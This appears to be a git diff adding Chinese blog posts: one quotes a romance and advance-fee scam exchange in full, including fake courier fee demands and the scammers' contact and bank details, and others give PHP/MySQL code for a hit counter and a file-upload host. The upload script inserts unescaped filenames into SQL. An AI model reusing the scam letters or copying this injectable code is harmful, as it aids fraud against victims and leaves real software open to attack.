> I am interested to moving my generated funds, gold and diamonds and The funds is $3.5,000,000 ( Three Million, five hundred thousand US Dollars) the Gold is 1730kgs of gold and the diamonds is 25,000carats parcel of uncut diamonds,I am a woman who does things according to the guidelines of my spirit, you was chosen to be my partner and also to help me to get this box, because my mind testify that you are the right person for me and I know you will not disappoint me , I chose to use you as a partner in this deal, because I'm not allowed to send the package to all of my friends or relatives as i am still in the military outside the United States, though at the end if i send anything to the USA it will be suspicious and I be will query for the action, so I chose you because I know you are the ideal person for this deal as a foreigner who is not a US citizen.
|
||||
>
|
||||
> Please put away the fear or doubt, and make up your mind to help me in this matter, I promise you will not regret it been part of this matter, I do not know what else I can say to convince you and make you believe me, but I I pray that God will give you the grace to make up your mind,Once again I want you to know that there is no complication in the way, if you follow my instructions everything will go smoothly and well in the process of receiving the case, please try to keep this secret matter between you and me, to avoid making space to the enemy, because if you and I should agree on one thing with our heart with seriousness we must surely achieve success in the end.
|
||||
>
|
||||
> Please I want to mention once again that any disposition toward this project is intact between each of us and in no circumstances should you let the security company to know the contents of the box, remember that the box was registered as a diplomat for the package security company and that is what they believe to be in the box, so you should not let them know that the content of the box is money.
|
||||
>
|
||||
> Please I will like you to send your information to me so that I can pass on to security cargo company to allow them to proceed to your country for the final delivery of cash at your door step. Send your information to me urgently;
|
||||
>
|
||||
> Your full names: ...........
|
||||
Your age: ...........
|
||||
Your Address: ..............
|
||||
ZIP CODE: .................
|
||||
City: ......................
|
||||
Country: ...................
|
||||
Phone number: .........
|
||||
Profession: ................
|
||||
>
|
||||
> Once i am done with my official assignment, I will come to meet you one on one in your country, and after that we will have to decide how to carry on with our lives, but for now, please, I appreciate us to pay more attention to this issue, you receive the delivery and keep it safe until I come over to discuss with you on how best to invest it in your country
|
||||
>
|
||||
> I await your immediate response
|
||||
Kiss
|
||||
Loris Robinson
|
||||
|
||||
emmmm写的不错,不过看不太懂……算啦,丢到百度翻译上看看吧,结果大意就是她有好多好多钱、钻石、金块和矿,然后想给我,让我把我的地址发给她,好让她邮过来。
|
||||
不过这不是最重要的,重要的是她想和我结婚?!要知道我才高中刚毕业,于是我向她提出了这个疑问,得到的回答是:
|
||||
|
||||
> Remember that distance or color does not matter even our age but love matters a lot in life , I am a woman who does things according to the guidelines of my spirit, you was chosen to be my partner and also to help me to get this fund, because my mind testify that you are the right person for me and I know you will not disappoint me , I chose to use you as a partner in this deal, because I'm not allowed to send the package to all of my friends or relatives as i am still in the military outside the United States.
|
||||
|
||||
哦,说的很有道理的样子,年龄无所谓,那是不是Lolicon也可以满足了?反正我的信息也值不了多少钱,那就给吧,于是我给她发了我的收件地址。然后她给我回信:
|
||||
|
||||
> PLEASE CONTACT THE TRADING COMPANY NOW
|
||||
>
|
||||
> I have contacted the courier company (Express Delivery Parcel Service ) that they are reliable and reliable.Once again I want you to know that there is no complication in the way, if you follow my instructions everything will go smoothly and well in the process of receiving the case, please try to keep this secret matter between you and me, to avoid making space to the enemy, because if you and I should agree on one thing with our heart with seriousness we must surely achieve success in the end.
|
||||
>
|
||||
> This delivery is going to be handle legally by the Express Delivery Parcel Service and there will be no form of risk in the process and the money will be sealed pack safely in a Diplomatic Box and the Diplomatic Box will be deliver to you in your country by a Diplomat. I have decide to compensate you with 30% of the total money once after the $3.5,000,000 ( Three Million, five hundred thousand US Dollars), the Gold is 1730kgs of gold and the diamonds is 25,000carats parcel of uncut diamonds.is delivered to you, while the rest balance shall be my investment capital in your country.
|
||||
>
|
||||
> Please I want to mention once again that any disposition toward this project is intact between each of us and in no circumstances should you let the security company to know the contents of the box, remember that the box was registered as a diplomat for the package security company and that is what they believe to be in the box, so you should not let them know that the content of the box is money.
|
||||
>
|
||||
> I have chosen this fast service so that you can receive the package within 72 hours after departure, bring the package to your home address, the bank have registered it to Express Delivery Parcel Service shipping and handed it to the company through their agent here, The company is with all your details,
|
||||
Here at our military base, the government provides everything we need, our paycheck is paid to our bank account in the United States until we return home after the mission as long as I stay in Afghanistan, I can not receive or send The money you paid , I have paid for the registration of the shipment and I placed a shipment order to the shipping company for delivery of the box at your door step in your country. Please note that the diplomat does not know the contents of the box for security reasons and below is the company's contact details,
|
||||
Please contact them now, tell them your name and country, that you are the right person to receive the cargo from Lory Robinson, a US Army officer.
|
||||
>
|
||||
> Fill in this information and send it to the security company and inform me:
|
||||
> ```
|
||||
> -------------------------------------------------
|
||||
> My name is ............. Permanent resident ........................ I'm communicating with Lori's report Robinson, Email:
|
||||
> lori.j.robinson@usa.com The company registers the shipment to the following address:
|
||||
> Full names:
|
||||
> Age:
|
||||
> Address:
|
||||
> Occupation:
|
||||
> POSTCODES:
|
||||
> City:
|
||||
> Country:
|
||||
> Phone number:
|
||||
> Profession:
|
||||
> --------------------------------------------------
|
||||
> The delivery company's information is below:
|
||||
> GLOBAL FASTWAY COURIER SERVICES / SAFETY COMPANY.
|
||||
> E-MAIL: express.global@uymail.com
|
||||
> E-MAIL: express.global@linuxmail.org
|
||||
> Av. Del General Perón, 32
|
||||
> 28008 Madrid,
|
||||
> Spain
|
||||
> Tel. +34 612 520330
|
||||
> DIRECTOR OF PARTICIPATION
|
||||
> Mr. William Anderson
|
||||
> ----------------------------------------------- --- -------
|
||||
> ```
|
||||
> Just write to the company in the above email immediately, the company will be provided as soon as you contact them, I have begun with the agreement to meet you in your country before it expires month.
|
||||
Allow me to stop so far and expect to receive your positive feedback once you contact the company. God bless you and your family.
|
||||
>
|
||||
> Love you and Kisses.
|
||||
Love and care from,
|
||||
Lori Robinson
|
||||
|
||||
大意就是让我把我的信息再转发给邮递公司吧,反正信息已经发过一次了,那再发一次也无所谓了吧,于是我给这个所谓的邮递公司发了我的信息,那个公司给我回复:
|
||||
|
||||
> EUROPE HEAD OFFICE,
|
||||
GLOBAL BRAND EXPRESS COURIER SERVICES,
|
||||
INTERNATIONAL AND LOCAL SHIPPING SERVICES,
|
||||
Av. del General Perón, 32
|
||||
28008 Madrid,
|
||||
Spain,
|
||||
Tel +34 612 520330,
|
||||
E-mail:express.global@uymail.com
|
||||
>
|
||||
> HE SHIPMENT / DELIVERY SITUATION REPORT OF YOUR CONSIGNMENT IN SPAIN:
|
||||
>
|
||||
> ATTENTION:
|
||||
ADDRESS : .....
|
||||
CITY : ..............
|
||||
COUNTRY .............China
|
||||
TELL ................+86
|
||||
>
|
||||
> HE SHIPMENT / DELIVERY SITUATION REPORT OF YOUR CONSIGNMENT IN SPAIN:
|
||||
>
|
||||
> The above subject matter refers,
|
||||
>
|
||||
> The management of Global Fast Way Courier Service want to notify you that your consignment/one cargo box has been registered with our shipment company with Registration ID: AFGH55870199SJH for delivery to your country as soon as the necessary shipment logistics and requirement are obtained.
|
||||
>
|
||||
> we have earlier been informed about you by Your partner Loris Robinson , that she appointed you as the beneficiary to receive her shipment labelled (FAMILY TREASURE) a CONSIGNMENT/ONE CARGO BOX to your destination.
|
||||
>
|
||||
> OUR SERVICE TYPE DELIVERY DURATION CHARGES/FEES:
|
||||
>
|
||||
> Handling & Delivery Cost......570 Euro
|
||||
Insurance..........................690 Euro
|
||||
Total Cost........................1,260 Euro
|
||||
Length of Days...........................Two Days
|
||||
Order Number................................UESTNL
|
||||
>
|
||||
> Finally you are required to send the shipment and Insurance fee of 1,260 Eur to enable a proper facilitation and delivery of your consignment to your address in your country and note that the charges are best substantial because of the insurance cover we have undertaken in case of loss, damage or package breakage of your high priority consignment. We assume all responsibilities in case of any eventualities.
|
||||
>
|
||||
> YOU CAN MAKE THE PAYMENT TO US THROUGH MONEYGRAM WITH OUR ACCOUNT AUDITOR'S INFORMATION,BUT THAT WILL BE WHEN YOU SEND US YOUR SCANNED COPY OF YOUR INTERNATIONAL PASSPORT OR DRIVER’S LICENSE,BEFORE WE CAN SEND YOU OUR ACCOUNT AUDITOR'S INFORMATION YOU WILL USE TO SEND THE 1,260 Euro.
|
||||
> Thanks for your Co-operation.
|
||||
> WE PROMISE TO GRANT THE BEST OF OUR SERVICES TO ALL OUR CUSTOMERS & YOUR SATISFACTION IS OUR REPUTATION.
|
||||
>
|
||||
> Yours Faithfully,
|
||||
Global Fast Way Courier Services
|
||||
DIRECTOR IN CHARGE
|
||||
Mr William Anderson
|
||||
Tel +34 612 520330
|
||||
|
||||
然后还非常用心的配了一张快递单:
|
||||
|
||||

|
||||
|
||||
注:由于隐私原因,涉及隐私的地方已经被删除 ~~(尽管大家都知道我的手机号)~~
|
||||
这个邮件当时也没细看,然后就给Lori Robinson说了我已经给他们发了我的信息,过了几天,她给我发:
|
||||
|
||||
|
||||
> Hello my love how are you doing ? Am so sorry you did not hear from me i was on duty i have not hear from you today i hope all is well with you? I plead with you in the name of God to try your best to negotiate with the security delivery company I'm worried because I can't live without you right here. You're my everything and Last night I did not sleep am worry about you my love.
|
||||
>
|
||||
> The delivery of the box to you holds a lot for us in the future. Once you receive the box, I will commence on the process of tendering resignation and once it is granted, I will come to your country for the sharing of the fund and planning a better future and life together. I cannot wait to be on your arms.
|
||||
>
|
||||
>
|
||||
> Kiss
|
||||
> Lori J Robinson
|
||||
|
||||
嗯,不错,她又强调了一遍这个邮件,顺带着表现了一下关心,不过我当时在学校,然后我就和她说我在学校,不方便收Email。
|
||||
当我回到家里,那个破公司给我发了一份邮件:
|
||||
|
||||
> EUROPE HEAD OFFICE,
|
||||
GLOBAL BRAND EXPRESS COURIER SERVICES,
|
||||
INTERNATIONAL AND LOCAL SHIPPING SERVICES,
|
||||
Av. del General Perón, 32
|
||||
28008 Madrid,
|
||||
Spain,
|
||||
Tel +34 612 520330,
|
||||
E-mail:express.global@uymail.com
|
||||
>
|
||||
> ATTENTION: ,
|
||||
>
|
||||
>YOU HAVE HAVE TO SEND US YOUR SCANNED COPY OF YOUR INTERNATIONAL PASSPORT OR DRIVER’S LICENSE AND YOU CAN USE THIS INFORMATION AND SEND THIS MOREY TO OUR OFFICE 1,260 EURO AS SOON AS YOU MAKE THE PAYMENT SEND US THE PAYMENT DETAILS TO NABLE US PROCESS AND COMMECE YOUR SHIPMENT TO ARRIVE AT YOUR DOOR STEI IN YOUR COUNTRY WITHIN THE NEXT 3 WORKING DAYS. THE DATE AND CONFIRMED OF ARRIVAL WILL BE ISSUED TO YOU. YOU CAN MAKE THE PAYMENT TO US WITH OUR ACCOUNT AUDITOR'S INFORMATION AN STATED BELOW:
|
||||
>
|
||||
> BANK : BBVA.
|
||||
ACC/IBAN: ES3501822659150201596186.
|
||||
Swift : BBVAESMMXXX.
|
||||
ACC NAME : ARCHER SAMUEL.
|
||||
Address: Bulevard Ciudad de VICAR 1245.
|
||||
Spain.
|
||||
>
|
||||
> Thanks for your Co-operation.
|
||||
WE PROMISE TO GRANT THE BEST OF OUR SERVICES TO ALL OUR CUSTOMERS & YOUR SATISFACTION IS OUR REPUTATION.
|
||||
>
|
||||
>Yours Faithfully,
|
||||
Global Fast Way Courier Services
|
||||
DIRECTOR IN CHARGE
|
||||
Mr William Anderson
|
||||
Tel +34 612 520330
|
||||
|
||||
啊,要交钱的么……~~于是Mayx就立马付款,上当受骗了~~(才怪,我哪有那么多钱?)到这里一看就知道是骗子了,其实之前那个快递单仔细一看就是假的,那个条形码画的乱七八糟……
|
||||
不过我还想聊下去,于是我给Lori Robinson说我付不起啊!于是她给我回复:
|
||||
|
||||
> Hello sweetheart,
|
||||
>
|
||||
>Hello how are you doing and your school i hope you are doing good in school? I am very sorry my darling for late response to you, I had a hectic day and was very sick that was why I couldn't get back to you, but I am fine and healthy again , Actually you are really trying for the success of this delivering box to you, in fact i thank you for all the efforts you have put on this already.But one thing you must know and understand is this, the express global company does not know that the content of the box is money and on no account should you tell them that what is inside the box is money, i received massage from delivery company the asking you to pay the fee of 1260 .
|
||||
>
|
||||
>I beg you to do anything within your means to comply with the security company so that you will receive this box, I have no access to money here and i do not know what else to do in this matter, the successful delivery of this box to you will determine how soon we will meet.
|
||||
The U.S government provides everything that we need in the military base here, our salary are being paid into our Account via Bank of American Military banking in the United States, so i only have access to my account in U.S, but that will be after our assignment here in Syria, that's why i cannot make any payment and i decided to ask for your help. I cannot access my bank account in America while in the battle field, I can only access my account when I am back to the states for security reasons, please understand me and do something OK.
|
||||
>
|
||||
> My dear, i know you might not be happy with the response of the security delivery company asking you for some payment. so please i am counting and depending on you for the success of the fund. I believe in your ability to handle the project amicably with no delay so please i need your cooperation here to complete the security delivery company as soon as possible. I hope to hear from you as soon as you make the payment to them.
|
||||
>
|
||||
> And remember this is our future and our love that we are talking about OK,
|
||||
Please kindly look for means even if it means to borrow or sale something, do it to sort out the bill so that the security delivery company will deliver the box to you, once I come back I really want to see you so that we will build life together.
|
||||
>
|
||||
> Please you really have to try your best, you are the only hope i have now. and remember do not take this matter lighly.
|
||||
>
|
||||
> Once the delive the funds, to you I will come to meet you one on one in your country, and after that we will have to decide how to carry on with our lives, but for now, please, I appreciate us to pay more attention to this issue, you receive the delivery and keep it safe until I come over to discuss with you on how best to invest it in your country
|
||||
>
|
||||
> I await your immediate response
|
||||
Kiss
|
||||
Loris Robinson
|
||||
|
||||
看这个意思是让我砸锅卖铁也要付这个钱?我可不干,然后她回复:
|
||||
|
||||
> Dearest,
|
||||
>
|
||||
> Hello thanks you for your message you send to me,I plead with you in the name of God to try your best to negotiate with the security delivery company and pay the fee, At this very point we have no other option than to comply with the delivery company because if they open the box, it will be a very big problem for us. Sweetheart, please lets you do the needful at this very stage before the military seal on the box expires.
|
||||
>
|
||||
> I want you to kindly write to the security company and tell them the amount of money you have with you and plead with them that you will send the balance to them as soon as you receive the box. Tell them the amount you can pay presently no matter how little let us see their response.
|
||||
>
|
||||
>
|
||||
> I await your immediate response
|
||||
Kiss
|
||||
Loris Robinson
|
||||
|
||||
……emmmm懒得理她了,于是这个事件到此为止。
|
||||
|
||||
# 结果
|
||||
Mayx没有任何损失,怎么能叫骗呢?可是她给我带来了希望,又给我绝望,是想当QB吗?(LOL)
|
8
_posts/2019-06-11-encrypt.md
Normal file
8
_posts/2019-06-11-encrypt.md
Normal file
@ -0,0 +1,8 @@
|
||||
---
|
||||
layout: encrypt
|
||||
title: Jekyll也可以加密文章啦!
|
||||
tags: [Jekyll, 加密]
|
||||
tips: 请输入Mayx
|
||||
excerpt: Jekyll赛高!
|
||||
---
|
||||
bbb68859d4e2a8a508932f48a440c894858154b96b3d5113a4488dd2425a709caf3795dcbd4aac25d9ab0f1628b85944cd69b28aae96bdb59a0c792cd9d93bf833e126f474642909164907daef803ecac7753ea5e85000521f80b85fa787e49d8b51faaef35ee728e007253b1a97880987127df248818f295da374a7c7d30950e3ad696f5ccb8c59fe274d4c3a5a3da65c35802d5c00d11be0936498ff4130fb61853bf9f0e8f28d446d612478edf050ebf826a293cd6941dacf40aea5482b74555c1daf052903e7cf6e5d5084842a47e80f31a11d3d542d3cdb4fa9dc20c9ce27f9b2c04fd31a79e1affd503316852073336dd8f446690c08335a93f8e19777ae4441d2d1dd37acd8039fae938f7eaf1a3173c5bd21e1b507d9522b517cd3dc0709bbbad11e0a7ca1f7bc7b8c40ecc20d765227b34d46d9c00c3ce928c1c561f4147f7e4ab975c9a8dc6bb1e10dea990b9a88abecf32046c5d52ea9f8025ce657d91ef35670c516df3d8e1c4f34fa6c4c90a3bb067981d380b3af65bf3273be699ff3831c62ce85de36f03b51f5e767
|
130
_posts/2019-06-22-counter.md
Normal file
130
_posts/2019-06-22-counter.md
Normal file
@ -0,0 +1,130 @@
|
||||
---
|
||||
layout: post
|
||||
title: 如何自己写一个博客计数器
|
||||
tags: [计数器]
|
||||
---
|
||||
|
||||
都怪LeanCloud,我得自己写计数器了!<!--more-->
|
||||
|
||||
# 事件起因
|
||||
我之前用的博客计数器是用的LeanCloud作为后台制作的计数器,然后嘛……代码是抄的。结果最近[LeanCloud凉了](https://blog.avoscloud.com/6841/),这让我无法忍受,之前的代码我也看不懂,改也不会改……
|
||||
那好吧,我只好自己写计数器了。
|
||||
于是我花了很长时间,自己写了一个计数器,另外还得把原来的计数器信息转移过来……
|
||||
|
||||
# 使用方法
|
||||
## 前端部分
|
||||
主页显示点击数:
|
||||
```html
|
||||
{% raw %}Hits: <span id="{{ post.url }}" class="visitors-index" >Loading...</span>{% endraw %}
|
||||
```
|
||||
内页显示点击数:
|
||||
```html
|
||||
{% raw %} Hits: <span id="{{ page.url }}" class="visitors" >Loading...</span>{% endraw %}
|
||||
```
|
||||
JS代码:(需要Jquery)
|
||||
```js
|
||||
var auxiliaryHost = "你的域名";
|
||||
function showHitS(hits){
|
||||
$.get(auxiliaryHost+"/counter.php?action=show&id="+hits.id,function(data){
|
||||
hits.innerHTML=Number(data);
|
||||
});
|
||||
}
|
||||
function showHitCount() {
|
||||
var visitors=$(".visitors-index");
|
||||
for(var i = 0; i < visitors.length; i++){
|
||||
showHitS(visitors[i]);
|
||||
}
|
||||
|
||||
}
|
||||
function addCount() {
|
||||
var visitors=$(".visitors");
|
||||
$.get(auxiliaryHost+"/counter.php?action=add&id="+visitors[0].id,function(data){
|
||||
visitors[0].innerHTML=Number(data);
|
||||
});
|
||||
}
|
||||
if ($('.visitors').length == 1) {
|
||||
addCount();
|
||||
} else if ($('.visitors-index').length > 0){
|
||||
showHitCount();
|
||||
}
|
||||
```
|
||||
2021.03.23更新:修复了一些BUG并且支持异步了
|
||||
|
||||
## 后端部分
|
||||
MySQL建表:
|
||||
```sql
|
||||
CREATE TABLE `counter` (
|
||||
`url` char(50) NOT NULL,
|
||||
`counter` int(11) NOT NULL,
|
||||
UNIQUE KEY `url` (`url`)
|
||||
);
|
||||
```
|
||||
PHP:
|
||||
```php
|
||||
<?php
|
||||
header('Access-Control-Allow-Origin: *');
|
||||
$con=mysqli_connect("MySQL地址","用户名","密码","数据库名");
|
||||
if (mysqli_connect_errno($con))
|
||||
{
|
||||
die("连接 MySQL 失败: " . mysqli_connect_error());
|
||||
}
|
||||
|
||||
$hid = md5($_GET['id']);
|
||||
|
||||
if ( $_GET['action'] == "show" ) {
|
||||
|
||||
$sql = "SELECT * FROM `counter` WHERE `url` = '".$hid."' ";
|
||||
$result = $con->query($sql);
|
||||
|
||||
if ($result->num_rows > 0) {
|
||||
while($row = $result->fetch_assoc()) {
|
||||
echo $row["counter"];
|
||||
}
|
||||
} else {
|
||||
|
||||
$sql = "INSERT INTO `counter` (`url`, `counter`)
|
||||
VALUES ('".$hid."', '0')";
|
||||
|
||||
if ($con->query($sql) === TRUE) {
|
||||
echo "0";
|
||||
}else{
|
||||
echo "Error";
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
} elseif ( $_GET['action'] == "add" ) {
|
||||
|
||||
|
||||
$sql = "SELECT * FROM `counter` WHERE `url` = '".$hid."' ";
|
||||
$result = $con->query($sql);
|
||||
if ($result->num_rows > 0) {
|
||||
while($row = $result->fetch_assoc()) {
|
||||
$sql = "UPDATE `counter` SET `counter` = '".($row["counter"]+1)."' WHERE `url` = '".$hid."'";
|
||||
$con->query($sql);
|
||||
echo ($row["counter"]+1);
|
||||
}
|
||||
} else {
|
||||
|
||||
$sql = "INSERT INTO `counter` (`url`, `counter`)
|
||||
VALUES ('".$hid."', '1')";
|
||||
|
||||
if ($con->query($sql) === TRUE) {
|
||||
echo "1";
|
||||
}else{
|
||||
echo "Error";
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
|
||||
} else {
|
||||
header("HTTP/1.1 301 Moved Permanently");
|
||||
header("Location: https://mabbs.github.io");
|
||||
}
|
||||
mysqli_close($con);
|
||||
```
|
||||
|
||||
# 结果
|
||||
看来还是自己写代码放心,至少服务是自己维护的,不像垃圾LeanCloud坏掉之后我就无能为力了……
|
||||
不过说实话我根本不会JS(虽然我之前说我学这个),编写之中遇到了不少问题,所以在此感谢各位帮助我的各位大佬们,让我最终完成了这个计数器。
|
100
_posts/2019-06-24-up.md
Normal file
100
_posts/2019-06-24-up.md
Normal file
@ -0,0 +1,100 @@
|
||||
---
|
||||
layout: post
|
||||
title: 如何利用MySQL数据库制作一个图站
|
||||
tags: [MySQL, 数据库, 图站, PHP]
|
||||
---
|
||||
|
||||
最近白嫖了一个500GB的数据库,想想怎么利用一下?<!--more-->
|
||||
|
||||
# Talk is cheap,show me the code
|
||||
|
||||
数据库建表:
|
||||
```sql
|
||||
CREATE TABLE `FileUP` (
|
||||
`ID` int(11) NOT NULL AUTO_INCREMENT,
|
||||
`Name` text NOT NULL,
|
||||
`File` longblob NOT NULL,
|
||||
`Size` int(11) NOT NULL,
|
||||
PRIMARY KEY (`ID`)
|
||||
) ENGINE=InnoDB DEFAULT CHARSET=gb2312;
|
||||
```
|
||||
|
||||
PHP代码:
|
||||
```php
|
||||
<?php
|
||||
$con=mysqli_connect("数据库地址","用户名","密码","数据库名");
|
||||
if (mysqli_connect_errno($con))
|
||||
{
|
||||
die("连接 MySQL 失败: " . mysqli_connect_error());
|
||||
}
|
||||
|
||||
if ( $_GET[ID] != '' ) {
|
||||
header('Access-Control-Allow-Origin: *');
|
||||
$sql = "SELECT * FROM `FileUP` WHERE `ID` = '".addslashes($_GET[ID])."' ";
|
||||
$result = $con->query($sql);
|
||||
if ($result->num_rows > 0) {
|
||||
while($row = $result->fetch_assoc()){
|
||||
Header ( "Content-type: application/octet-stream" );
|
||||
Header ( "Accept-Ranges: bytes" );
|
||||
Header ( "Accept-Length: " . $row["Size"] );
|
||||
Header ( "Content-Disposition: attachment; filename=" . $row["Name"] );
|
||||
echo $row["File"];
|
||||
}
|
||||
}
|
||||
else {
|
||||
header('HTTP/1.1 404 NOT FOUND');
|
||||
}
|
||||
} else {
|
||||
echo '<title>Mayx图床</title>
|
||||
<h1>Mayx图床</h1><hr>
|
||||
请选择需要上传的文件
|
||||
<form enctype="multipart/form-data" method="post" action="">
|
||||
<input type="file" name="File" />
|
||||
<input type="submit" name="submit" value="submit" />
|
||||
</form>
|
||||
<br />';
|
||||
if ( $_SERVER['REQUEST_METHOD'] == "POST" ) {
|
||||
$error = $_FILES['File']['error'];
|
||||
$tmp_name = $_FILES['File']['tmp_name'];
|
||||
$size = $_FILES['File']['size'];
|
||||
$name = $_FILES['File']['name'];
|
||||
print("\n");
|
||||
if ($error == UPLOAD_ERR_OK && $size > 0) {
|
||||
$fp = fopen($tmp_name, 'r');
|
||||
$content = fread($fp, $size);
|
||||
fclose($fp);
|
||||
$content = addslashes($content);
|
||||
$sql = "INSERT INTO `FileUP` (`Name`, `File`, `Size`)
|
||||
VALUES ('".$name."', '".$content."', '".$size."');";
|
||||
$con->query($sql);
|
||||
$sql = "select @@identity;";
|
||||
$result = $con->query($sql);
|
||||
while($row = $result->fetch_assoc()) {
|
||||
echo '上传完成,文件下载地址:<a href="//'.$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI']."?ID=".$row['@@identity'].'" >'.$_SERVER['HTTP_X_FORWARDED_PROTO'].'://'.$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI']."?ID=".$row['@@identity'].'</a>';
|
||||
}
|
||||
|
||||
} else {
|
||||
echo "文件上传错误!";
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
echo '<hr />
|
||||
<center><a href="https://mabbs.github.io/">By Mayx</a></center>';
|
||||
|
||||
}
|
||||
|
||||
mysqli_close($con);
|
||||
```
|
||||
|
||||
# 缺点
|
||||
~~MySQL保存文件有限制,好像只能存16MB左右😓~~(改max_allowed_packet就可以了)
|
||||
另外就是断点续传的问题,这个问题我回头再想一想吧。
|
||||
|
||||
# 演示(随时GG)
|
||||
<https://mayx.leanapp.cn/up.php>
|
||||
|
||||
# 下一步改进的打算
|
||||
~~想搞成切片上传,这样就没有文件大小上传的限制了。
|
||||
不过这个好像得前端支持,先放个链接在这里吧:<https://github.com/fex-team/webuploader>~~
|
||||
不打算改进了……
|
39
_posts/2019-07-01-mabbs.md
Normal file
39
_posts/2019-07-01-mabbs.md
Normal file
@ -0,0 +1,39 @@
|
||||
---
|
||||
layout: post
|
||||
title: 重建MaBBS的计划
|
||||
tags: [MaBBS, 重构]
|
||||
---
|
||||
|
||||
这就是所谓的只擅长建立计划吧(笑)<!--more-->
|
||||
|
||||
# 关于计划
|
||||
重构计划:[Mabbs重构计划](https://github.com/users/Mabbs/projects/1)
|
||||
需要重构的项目:[Mabbs](https://github.com/Mabbs/Mabbs)
|
||||
|
||||
## 关于这个项目
|
||||
这个项目是我初中的时候就开始写的,当时我在网络上看到了一种很有意思的论坛,叫做Telnet BBS,貌似以前有名的高校都搞这个东西。那时刚好在用一个极其破烂的手机(Mem:256MiB,CPU:Spreadtrum SP8810,Rom:512MiB)在那里学着写Shell([关于这一段历史](/2019/02/01/history.html#linux-shell时期))。看完Telnet BBS的介绍之后,我膨胀了,我觉得以我当时的水平,肯定能写出来,于是我从此走上了填这个万年巨坑的不归路。
|
||||
当时我不但膨胀,而且傻,把一个有着很明显的注入漏洞的那么一个BBS写出来之后居然还发到当时Bilibili开的一个类似贴吧一样的东西里(现在已经没了),那时候每个路由器还是动态公开IP的,于是我就那么放在了网上,丝毫不担心有人会拿它当跳板机(是我想多了LOL)
|
||||
在编写之中,我了解到了CGI,于是它就可以既能用网页版,又能用命令行版。
|
||||
到现在为止,这个BBS仍然有很严重的注入漏洞……而且小时候写代码也没什么规范,基本上是边学边写,于是过了一个高三没写,那个代码我是一个字也看不懂了23333
|
||||
|
||||
# 现在重构的打算
|
||||
本来是想写在那个Project里的,但是后来想了想,还是写成博客比较好,那个东西似乎不太适合我(就是想水一篇啦)
|
||||
|
||||
## 1. FastCGI
|
||||
我很早以前就想把这个破烂CGI改成FastCGI,但是网上找了半天,基本上也没看懂什么。不过后来用上了服务器,学了Nginx,才明白,原来所谓的FastCGI就相当于是自己又写了一个服务器软件,只是这个比较简单,只是它不再是执行后就结束的程序,而是在后台挂着,继续等待下一个请求。而Nginx起到的作用就是提高这个自制服务器的安全性,另外可以提前输出,保证速度,其实说白了就是反向代理。这次看看重构能不能加一个这个功能。
|
||||
|
||||
## 2. 前后端分离
|
||||
最近好像挺流行这个的,就是要用Javascript,不过这个我现在也学的差不多了,不像以前,整个BBS里没有一句Javascript。
|
||||
这样干还有一个好处,就是我可以不限定客户端,假如我以后学了其他语言,就可以利用统一的API调用了
|
||||
|
||||
## 3.POSIX
|
||||
这可是我写的东西的一大优点,我写的BBS就算是只有一个Busybox也能运行,保证了在任何一台设备上都能完美运行,而且一句sed、grep、awk都没有用,就连这三件套没有都能用哦!
|
||||
|
||||
## 4. Hash&Session
|
||||
之前我写的BBS全部都是明文保存密码的,不过现在我学了那么多关于网络安全的知识,至少Hash还是要有的。不过我不打算用其他工具,我要自己写一套!之前确实是试了试Hash,不过感觉好像又不太对……回头再仔细查一下吧。
|
||||
之前BBS登录时密码都是放在Cookie里的,现在想想那真是太蠢了,本来这个BBS就全都是XSS漏洞,再明文放密码那不就是想要谁的密码都可以吗?(虽然开了HTTPONLY)不过为了提高安全性,我搞了一个类似于Session的东西,但是我不太会写随机数,所以感觉这个Session似乎更不安全了……
|
||||
|
||||
……
|
||||
|
||||
# 真正的问题
|
||||
先想办法下决心写第一句话吧!
|
37
_posts/2019-07-02-encmail.md
Normal file
37
_posts/2019-07-02-encmail.md
Normal file
@ -0,0 +1,37 @@
|
||||
---
|
||||
layout: post
|
||||
title: 制作分布式加密邮件系统的计划
|
||||
tags: [分布式, 加密, 邮件, 计划]
|
||||
---
|
||||
|
||||
一个计划还没开始,又开始另一个计划了……<!--more-->
|
||||
|
||||
# 计划原因
|
||||
之前用了Telegram聊天,里面有一个私密通信的功能。听说这个功能可以让服务端没法知道使用者发送的信息。不过Telegram在国内使用限制比较多,所以我打算用HTML+Javascript+PHP+MySQL写一套自己的私密通信系统。
|
||||
但是As We All Know,某些国家有网络审查,提供这种服务的肯定会被审查的。既然我们要做这个东西,就不能让它不稳定。所以我想把这个项目搞成分布式的那种,确保通信可以成功。(来自Mastodon的思路)
|
||||
|
||||
## Q&A
|
||||
1. 为什么使用PHP?
|
||||
之所以用PHP作为后端语言的原因呢…… ~~当然因为PHP是世界上最好的语言!(被打死)~~ 因为PHP的程序好搭建,而且很多虚拟主机商都用的是PHP,这样即使小白也能搭建,就能让分布式节点更多了。 ~~(明明主要原因是我只会PHP 23333)~~
|
||||
2. 为什么我要做成邮件系统而不是聊天系统呢?
|
||||
因为聊天就要用Websocket或者是AJAX之类的,但是我不会……我只能把信息都存在服务器里,有人访问再显示出来……
|
||||
3. 已经有PGP了,为什么还要重复造轮子呢?
|
||||
因为PGP是软件,小白用起来不太方便,这个是网站,可能相对更简单一些。 ~~(重复造轮子能有什么理由)~~
|
||||
|
||||
# 项目技术原理
|
||||
1. 所谓的私密通信主要用的就是非对称加密,比如说RSA什么的。所以这个项目同样如此,也使用RSA作为主要加密算法。
|
||||
2. RSA虽然很不错,但是似乎加密速度比较慢?(我看HTTPS上介绍的是这样)所以内容用AES加密,用随机数做密码,一方用公钥去加密这个密码,另一方用私钥解密获得密码,然后再利用这个密码进行对称加密传输(和HTTPS差不多)。
|
||||
3. 如果上述操作都是服务端进行,那这些就都没什么意义了,所以我们要在客户端进行。像Javascript进行加密完全没有问题,所以除了传输,其他加密都是在浏览器上进行。
|
||||
|
||||
# 项目细节
|
||||
为了方便通信,公钥是要留在服务器上的,所以要搞一个用户系统,存储用户的公钥。在注册的过程中公私钥生成都是在客户端进行,确保服务端得不到用户的私钥,注册的过程中要将用户名和公钥上传至服务器保存。这就是为什么要用到MySQL。
|
||||
登录时,先输入用户名,服务器使用用户名查找到对应的公钥,然后生成一个随机数,用公钥加密,发送给客户端,客户端用私钥解密,获得随机数,返回给服务器进行登录。
|
||||
私钥登录后要持续保存,这时肯定不能用Cookie,我们可以用localStorage,然后客户端一定要做好防XSS,不然一切都没有了。
|
||||
